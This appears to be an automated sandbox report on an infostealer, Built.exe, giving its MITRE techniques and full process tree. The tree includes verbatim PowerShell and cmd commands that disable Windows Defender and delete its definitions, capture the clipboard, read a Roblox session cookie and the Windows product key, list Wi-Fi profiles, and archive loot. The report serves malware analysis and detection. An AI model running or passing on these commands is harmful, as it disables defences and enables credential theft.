643aa1ad700892681a686f74c2c5f1c2170c499bb4f97ced4b6fca76e88c532d

Analysis

max time kernel
94s
max time network
151s
platform
windows10-ltsc 2021_x64
resource
win10ltsc2021-20250207-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20250207-enlocale:en-usos:windows10-ltsc 2021-x64system
submitted
09/02/2025, 08:19

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Built.exe
Size

7.4MB
MD5

e1beee9ca0a43fefde4abea552934f71
SHA1

b23a5f1b60e4cf95591f30f64c79b6fed7a34225
SHA256

643aa1ad700892681a686f74c2c5f1c2170c499bb4f97ced4b6fca76e88c532d
SHA512

52fa47f0e99916a715811e00f6a6a82c39ee637b60cc3ab67b54c54b557086fd83e6d4101ecd53c3a5aef8ddbaf9617bb5b7c763b1c01277365c196d90d42943
SSDEEP

196608:QWA0cDSJN1Ljv+bhqNVoBKUh8mz4Iv9PPv1DVWhm:fiSJLL+9qz8/b4IRv3Whm

Score

10^/10

collection credential_access defense_evasion discovery execution persistence privilege_escalation spyware stealer upx

Malware Config

Signatures

Deletes Windows Defender Definitions 2 TTPs 1 IoCs

Uses mpcmdrun utility to delete all AV definitions.

defense_evasion

Impair Defenses

T1562

Command and Scripting Interpreter

T1059

pid	Process
676	MpCmdRun.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4496	powershell.exe
4792	powershell.exe
1968	powershell.exe
4484	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
26	544	Process not Found

Clipboard Data 1 TTPs 2 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

pid	Process
2436	cmd.exe
4836	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
3552	rar.exe

Loads dropped DLL 17 IoCs

pid	Process
4824	Built.exe
4824	Built.exe
4824	Built.exe
4824	Built.exe
4824	Built.exe
4824	Built.exe
4824	Built.exe
4824	Built.exe
4824	Built.exe
4824	Built.exe
4824	Built.exe
4824	Built.exe
4824	Built.exe
4824	Built.exe
4824	Built.exe
4824	Built.exe
4824	Built.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
11	ip-api.com

Enumerates processes with tasklist 1 TTPs 3 IoCs

discovery

Process Discovery

T1057

pid	Process
1272	tasklist.exe
3980	tasklist.exe
4908	tasklist.exe

UPX packed file 58 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x0007000000027f4f-21.dat	upx
behavioral1/memory/4824-25-0x00007FF88CEF0000-0x00007FF88D4D9000-memory.dmp	upx
behavioral1/files/0x0008000000027f3a-27.dat	upx
behavioral1/files/0x0007000000027f4d-29.dat	upx
behavioral1/files/0x0007000000027f49-46.dat	upx
behavioral1/files/0x0009000000027f39-49.dat	upx
behavioral1/memory/4824-50-0x00007FF8A4650000-0x00007FF8A4669000-memory.dmp	upx
behavioral1/memory/4824-52-0x00007FF8A1630000-0x00007FF8A165D000-memory.dmp	upx
behavioral1/files/0x0008000000027f3d-51.dat	upx
behavioral1/memory/4824-48-0x00007FF8A4670000-0x00007FF8A467F000-memory.dmp	upx
behavioral1/memory/4824-47-0x00007FF8A4680000-0x00007FF8A46A3000-memory.dmp	upx
behavioral1/files/0x0008000000027f40-45.dat	upx
behavioral1/files/0x0008000000027f3f-44.dat	upx
behavioral1/files/0x0008000000027f3e-43.dat	upx
behavioral1/files/0x0008000000027f3c-41.dat	upx
behavioral1/files/0x0008000000027f3b-40.dat	upx
behavioral1/files/0x0007000000027f54-38.dat	upx
behavioral1/files/0x0007000000027f53-37.dat	upx
behavioral1/files/0x0007000000027f52-36.dat	upx
behavioral1/files/0x0007000000027f4e-33.dat	upx
behavioral1/files/0x0007000000027f4c-32.dat	upx
behavioral1/memory/4824-58-0x00007FF8A1360000-0x00007FF8A1383000-memory.dmp	upx
behavioral1/memory/4824-60-0x00007FF88CA60000-0x00007FF88CBD7000-memory.dmp	upx
behavioral1/memory/4824-62-0x00007FF89F010000-0x00007FF89F029000-memory.dmp	upx
behavioral1/memory/4824-64-0x00007FF8A3DD0000-0x00007FF8A3DDD000-memory.dmp	upx
behavioral1/memory/4824-66-0x00007FF89EF80000-0x00007FF89EFB3000-memory.dmp	upx
behavioral1/memory/4824-71-0x00007FF88CC50000-0x00007FF88CD1D000-memory.dmp	upx
behavioral1/memory/4824-74-0x00007FF8A4680000-0x00007FF8A46A3000-memory.dmp	upx
behavioral1/memory/4824-73-0x00007FF88C530000-0x00007FF88CA52000-memory.dmp	upx
behavioral1/memory/4824-70-0x00007FF88CEF0000-0x00007FF88D4D9000-memory.dmp	upx
behavioral1/memory/4824-76-0x00007FF8A1480000-0x00007FF8A1494000-memory.dmp	upx
behavioral1/memory/4824-78-0x00007FF8A1620000-0x00007FF8A162D000-memory.dmp	upx
behavioral1/memory/4824-80-0x00007FF88CDD0000-0x00007FF88CEEC000-memory.dmp	upx
behavioral1/memory/4824-81-0x00007FF8A1360000-0x00007FF8A1383000-memory.dmp	upx
behavioral1/memory/4824-104-0x00007FF88CA60000-0x00007FF88CBD7000-memory.dmp	upx
behavioral1/memory/4824-105-0x00007FF89F010000-0x00007FF89F029000-memory.dmp	upx
behavioral1/memory/4824-197-0x00007FF89EF80000-0x00007FF89EFB3000-memory.dmp	upx
behavioral1/memory/4824-223-0x00007FF88C530000-0x00007FF88CA52000-memory.dmp	upx
behavioral1/memory/4824-221-0x00007FF88CC50000-0x00007FF88CD1D000-memory.dmp	upx
behavioral1/memory/4824-258-0x00007FF8A4680000-0x00007FF8A46A3000-memory.dmp	upx
behavioral1/memory/4824-257-0x00007FF88CEF0000-0x00007FF88D4D9000-memory.dmp	upx
behavioral1/memory/4824-273-0x00007FF88CDD0000-0x00007FF88CEEC000-memory.dmp	upx
behavioral1/memory/4824-263-0x00007FF88CA60000-0x00007FF88CBD7000-memory.dmp	upx
behavioral1/memory/4824-296-0x00007FF88C530000-0x00007FF88CA52000-memory.dmp	upx
behavioral1/memory/4824-310-0x00007FF8A1480000-0x00007FF8A1494000-memory.dmp	upx
behavioral1/memory/4824-312-0x00007FF88CDD0000-0x00007FF88CEEC000-memory.dmp	upx
behavioral1/memory/4824-311-0x00007FF8A1620000-0x00007FF8A162D000-memory.dmp	upx
behavioral1/memory/4824-309-0x00007FF88CC50000-0x00007FF88CD1D000-memory.dmp	upx
behavioral1/memory/4824-308-0x00007FF8A3DD0000-0x00007FF8A3DDD000-memory.dmp	upx
behavioral1/memory/4824-307-0x00007FF89F010000-0x00007FF89F029000-memory.dmp	upx
behavioral1/memory/4824-306-0x00007FF88CA60000-0x00007FF88CBD7000-memory.dmp	upx
behavioral1/memory/4824-305-0x00007FF8A1360000-0x00007FF8A1383000-memory.dmp	upx
behavioral1/memory/4824-304-0x00007FF8A1630000-0x00007FF8A165D000-memory.dmp	upx
behavioral1/memory/4824-303-0x00007FF8A4650000-0x00007FF8A4669000-memory.dmp	upx
behavioral1/memory/4824-302-0x00007FF8A4670000-0x00007FF8A467F000-memory.dmp	upx
behavioral1/memory/4824-301-0x00007FF8A4680000-0x00007FF8A46A3000-memory.dmp	upx
behavioral1/memory/4824-300-0x00007FF89EF80000-0x00007FF89EFB3000-memory.dmp	upx
behavioral1/memory/4824-285-0x00007FF88CEF0000-0x00007FF88D4D9000-memory.dmp	upx

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MicrosoftEdgeUpdate.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
5052	MicrosoftEdgeUpdate.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
1148	netsh.exe
4408	cmd.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2168	WMIC.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
1516	systeminfo.exe

Suspicious behavior: EnumeratesProcesses 35 IoCs

pid	Process
4496	powershell.exe
4484	powershell.exe
4484	powershell.exe
4496	powershell.exe
3772	WMIC.exe
3772	WMIC.exe
3772	WMIC.exe
3772	WMIC.exe
4836	powershell.exe
4836	powershell.exe
4836	powershell.exe
4792	powershell.exe
4792	powershell.exe
3724	powershell.exe
3724	powershell.exe
2524	WMIC.exe
2524	WMIC.exe
2524	WMIC.exe
2524	WMIC.exe
3924	WMIC.exe
3924	WMIC.exe
3924	WMIC.exe
3924	WMIC.exe
1988	WMIC.exe
1988	WMIC.exe
1988	WMIC.exe
1988	WMIC.exe
1968	powershell.exe
1968	powershell.exe
2168	WMIC.exe
2168	WMIC.exe
2168	WMIC.exe
2168	WMIC.exe
2920	powershell.exe
2920	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4496	powershell.exe
Token: SeDebugPrivilege	4484	powershell.exe
Token: SeIncreaseQuotaPrivilege	4496	powershell.exe
Token: SeSecurityPrivilege	4496	powershell.exe
Token: SeTakeOwnershipPrivilege	4496	powershell.exe
Token: SeLoadDriverPrivilege	4496	powershell.exe
Token: SeSystemProfilePrivilege	4496	powershell.exe
Token: SeSystemtimePrivilege	4496	powershell.exe
Token: SeProfSingleProcessPrivilege	4496	powershell.exe
Token: SeIncBasePriorityPrivilege	4496	powershell.exe
Token: SeCreatePagefilePrivilege	4496	powershell.exe
Token: SeBackupPrivilege	4496	powershell.exe
Token: SeRestorePrivilege	4496	powershell.exe
Token: SeShutdownPrivilege	4496	powershell.exe
Token: SeDebugPrivilege	4496	powershell.exe
Token: SeSystemEnvironmentPrivilege	4496	powershell.exe
Token: SeRemoteShutdownPrivilege	4496	powershell.exe
Token: SeUndockPrivilege	4496	powershell.exe
Token: SeManageVolumePrivilege	4496	powershell.exe
Token: 33	4496	powershell.exe
Token: 34	4496	powershell.exe
Token: 35	4496	powershell.exe
Token: 36	4496	powershell.exe
Token: SeIncreaseQuotaPrivilege	4484	powershell.exe
Token: SeSecurityPrivilege	4484	powershell.exe
Token: SeTakeOwnershipPrivilege	4484	powershell.exe
Token: SeLoadDriverPrivilege	4484	powershell.exe
Token: SeSystemProfilePrivilege	4484	powershell.exe
Token: SeSystemtimePrivilege	4484	powershell.exe
Token: SeProfSingleProcessPrivilege	4484	powershell.exe
Token: SeIncBasePriorityPrivilege	4484	powershell.exe
Token: SeCreatePagefilePrivilege	4484	powershell.exe
Token: SeBackupPrivilege	4484	powershell.exe
Token: SeRestorePrivilege	4484	powershell.exe
Token: SeShutdownPrivilege	4484	powershell.exe
Token: SeDebugPrivilege	4484	powershell.exe
Token: SeSystemEnvironmentPrivilege	4484	powershell.exe
Token: SeRemoteShutdownPrivilege	4484	powershell.exe
Token: SeUndockPrivilege	4484	powershell.exe
Token: SeManageVolumePrivilege	4484	powershell.exe
Token: 33	4484	powershell.exe
Token: 34	4484	powershell.exe
Token: 35	4484	powershell.exe
Token: 36	4484	powershell.exe
Token: SeDebugPrivilege	1272	tasklist.exe
Token: SeDebugPrivilege	3980	tasklist.exe
Token: SeIncreaseQuotaPrivilege	3772	WMIC.exe
Token: SeSecurityPrivilege	3772	WMIC.exe
Token: SeTakeOwnershipPrivilege	3772	WMIC.exe
Token: SeLoadDriverPrivilege	3772	WMIC.exe
Token: SeSystemProfilePrivilege	3772	WMIC.exe
Token: SeSystemtimePrivilege	3772	WMIC.exe
Token: SeProfSingleProcessPrivilege	3772	WMIC.exe
Token: SeIncBasePriorityPrivilege	3772	WMIC.exe
Token: SeCreatePagefilePrivilege	3772	WMIC.exe
Token: SeBackupPrivilege	3772	WMIC.exe
Token: SeRestorePrivilege	3772	WMIC.exe
Token: SeShutdownPrivilege	3772	WMIC.exe
Token: SeDebugPrivilege	3772	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3772	WMIC.exe
Token: SeRemoteShutdownPrivilege	3772	WMIC.exe
Token: SeUndockPrivilege	3772	WMIC.exe
Token: SeManageVolumePrivilege	3772	WMIC.exe
Token: 33	3772	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1048 wrote to memory of 4824	1048	Built.exe	87
PID 1048 wrote to memory of 4824	1048	Built.exe	87
PID 4824 wrote to memory of 4780	4824	Built.exe	89
PID 4824 wrote to memory of 4780	4824	Built.exe	89
PID 4824 wrote to memory of 5104	4824	Built.exe	90
PID 4824 wrote to memory of 5104	4824	Built.exe	90
PID 4780 wrote to memory of 4496	4780	cmd.exe	93
PID 4780 wrote to memory of 4496	4780	cmd.exe	93
PID 5104 wrote to memory of 4484	5104	cmd.exe	94
PID 5104 wrote to memory of 4484	5104	cmd.exe	94
PID 4824 wrote to memory of 4692	4824	Built.exe	96
PID 4824 wrote to memory of 4692	4824	Built.exe	96
PID 4824 wrote to memory of 3460	4824	Built.exe	97
PID 4824 wrote to memory of 3460	4824	Built.exe	97
PID 4692 wrote to memory of 1272	4692	cmd.exe	100
PID 4692 wrote to memory of 1272	4692	cmd.exe	100
PID 4824 wrote to memory of 3412	4824	Built.exe	101
PID 4824 wrote to memory of 3412	4824	Built.exe	101
PID 4824 wrote to memory of 2436	4824	Built.exe	102
PID 4824 wrote to memory of 2436	4824	Built.exe	102
PID 3460 wrote to memory of 3980	3460	cmd.exe	104
PID 3460 wrote to memory of 3980	3460	cmd.exe	104
PID 4824 wrote to memory of 1632	4824	Built.exe	105
PID 4824 wrote to memory of 1632	4824	Built.exe	105
PID 4824 wrote to memory of 1560	4824	Built.exe	108
PID 4824 wrote to memory of 1560	4824	Built.exe	108
PID 4824 wrote to memory of 4408	4824	Built.exe	111
PID 4824 wrote to memory of 4408	4824	Built.exe	111
PID 4824 wrote to memory of 1428	4824	Built.exe	113
PID 4824 wrote to memory of 1428	4824	Built.exe	113
PID 3412 wrote to memory of 3772	3412	cmd.exe	115
PID 3412 wrote to memory of 3772	3412	cmd.exe	115
PID 1632 wrote to memory of 4908	1632	cmd.exe	116
PID 1632 wrote to memory of 4908	1632	cmd.exe	116
PID 2436 wrote to memory of 4836	2436	cmd.exe	117
PID 2436 wrote to memory of 4836	2436	cmd.exe	117
PID 1560 wrote to memory of 4788	1560	cmd.exe	118
PID 1560 wrote to memory of 4788	1560	cmd.exe	118
PID 4408 wrote to memory of 1148	4408	cmd.exe	119
PID 4408 wrote to memory of 1148	4408	cmd.exe	119
PID 1428 wrote to memory of 1516	1428	cmd.exe	120
PID 1428 wrote to memory of 1516	1428	cmd.exe	120
PID 4824 wrote to memory of 3712	4824	Built.exe	121
PID 4824 wrote to memory of 3712	4824	Built.exe	121
PID 3712 wrote to memory of 3724	3712	cmd.exe	142
PID 3712 wrote to memory of 3724	3712	cmd.exe	142
PID 4824 wrote to memory of 460	4824	Built.exe	124
PID 4824 wrote to memory of 460	4824	Built.exe	124
PID 460 wrote to memory of 4392	460	cmd.exe	126
PID 460 wrote to memory of 4392	460	cmd.exe	126
PID 4824 wrote to memory of 3716	4824	Built.exe	127
PID 4824 wrote to memory of 3716	4824	Built.exe	127
PID 3716 wrote to memory of 4668	3716	cmd.exe	129
PID 3716 wrote to memory of 4668	3716	cmd.exe	129
PID 4824 wrote to memory of 3816	4824	Built.exe	130
PID 4824 wrote to memory of 3816	4824	Built.exe	130
PID 3816 wrote to memory of 4876	3816	cmd.exe	132
PID 3816 wrote to memory of 4876	3816	cmd.exe	132
PID 4824 wrote to memory of 3448	4824	Built.exe	133
PID 4824 wrote to memory of 3448	4824	Built.exe	133
PID 3448 wrote to memory of 3456	3448	cmd.exe	135
PID 3448 wrote to memory of 3456	3448	cmd.exe	135
PID 4824 wrote to memory of 4660	4824	Built.exe	136
PID 4824 wrote to memory of 4660	4824	Built.exe	136

C:\Users\Admin\AppData\Local\Temp\Built.exe
"C:\Users\Admin\AppData\Local\Temp\Built.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1048
- C:\Users\Admin\AppData\Local\Temp\Built.exe
  "C:\Users\Admin\AppData\Local\Temp\Built.exe"
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:4824
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Built.exe'"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4780
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Built.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4496
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5104
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4484
  - - C:\Program Files\Windows Defender\MpCmdRun.exe
      "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
      4⤵
      Deletes Windows Defender Definitions
      PID:676
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4692
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:1272
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3460
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:3980
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3412
  - - C:\Windows\System32\Wbem\WMIC.exe
      WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3772
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    - Suspicious use of WriteProcessMemory
    PID:2436
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Clipboard Data
      Suspicious behavior: EnumeratesProcesses
      PID:4836
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1632
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      PID:4908
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1560
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:4788
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    - Suspicious use of WriteProcessMemory
    PID:4408
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:1148
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "systeminfo"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1428
  - - C:\Windows\system32\systeminfo.exe
      systeminfo
      4⤵
      Gathers system information
      PID:1516
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3712
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:3724
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:460
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:4392
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3716
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:4668
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3816
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:4876
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3448
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:3456
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    PID:4660
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:4792
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    PID:1320
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3724
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "getmac"
    3⤵
    PID:4432
  - - C:\Windows\system32\getmac.exe
      getmac
      4⤵
      PID:1016
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI10482\rar.exe a -r -hp"123456" "C:\Users\Admin\AppData\Local\Temp\aIKey.zip" *"
    3⤵
    PID:4816
  - - C:\Users\Admin\AppData\Local\Temp\_MEI10482\rar.exe
      C:\Users\Admin\AppData\Local\Temp\_MEI10482\rar.exe a -r -hp"123456" "C:\Users\Admin\AppData\Local\Temp\aIKey.zip" *
      4⤵
      Executes dropped EXE
      PID:3552
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic os get Caption"
    3⤵
    PID:4836
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic os get Caption
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2524
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
    3⤵
    PID:1148
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic computersystem get totalphysicalmemory
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3924
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    PID:2208
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:1988
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
    3⤵
    PID:2108
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:1968
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    PID:4908
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      Suspicious behavior: EnumeratesProcesses
      PID:2168
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
    3⤵
    PID:1608
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2920

C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
"C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdWVzdCBwcm90b2NvbD0iMy4wIiB1cGRhdGVyPSJPbWFoYSIgdXBkYXRlcnZlcnNpb249IjEuMy4xOTUuNDMiIHNoZWxsX3ZlcnNpb249IjEuMy4xOTUuNDMiIGlzbWFjaGluZT0iMSIgc2Vzc2lvbmlkPSJ7QzUyMTU2NkYtREY2OS00RUZBLTk1QTktQ0IwOEJFRUNGOEE2fSIgdXNlcmlkPSJ7QjVFRjNFRjAtNjY1Mi00NjBGLTk4QzEtQzk1RDUzOEVFQkUxfSIgaW5zdGFsbHNvdXJjZT0ibGltaXRlZCIgcmVxdWVzdGlkPSJ7MDJGNTQzRDMtNTI1RC00MkZBLTk4OUItQUI2NjRBNkQwRjc5fSIgZGVkdXA9ImNyIiBkb21haW5qb2luZWQ9IjAiPjxodyBsb2dpY2FsX2NwdXM9IjIiIHBoeXNtZW1vcnk9IjQiIGRpc2tfdHlwZT0iMiIgc3NlPSIxIiBzc2UyPSIxIiBzc2UzPSIxIiBzc3NlMz0iMSIgc3NlNDE9IjEiIHNzZTQyPSIxIiBhdng9IjEiLz48b3MgcGxhdGZvcm09IndpbiIgdmVyc2lvbj0iMTAuMC4xOTA0NC40NTI5IiBzcD0iIiBhcmNoPSJ4NjQiIHByb2R1Y3RfdHlwZT0iMTI1IiBpc193aXA9IjAiIGlzX2luX2xvY2tkb3duX21vZGU9IjAiLz48b2VtIHByb2R1Y3RfbWFudWZhY3R1cmVyPSIiIHByb2R1Y3RfbmFtZT0iIi8-PGV4cCBldGFnPSImcXVvdDtyNDUydDErazJUZ3EvSFh6anZGTkJSaG9wQldSOXNialh4cWVVREg5dVgwPSZxdW90OyIvPjxhcHAgYXBwaWQ9Ins4QTY5RDM0NS1ENTY0LTQ2M2MtQUZGMS1BNjlEOUU1MzBGOTZ9IiB2ZXJzaW9uPSIxMjMuMC42MzEyLjEyMyIgbmV4dHZlcnNpb249IiIgbGFuZz0iZW4iIGJyYW5kPSJHR0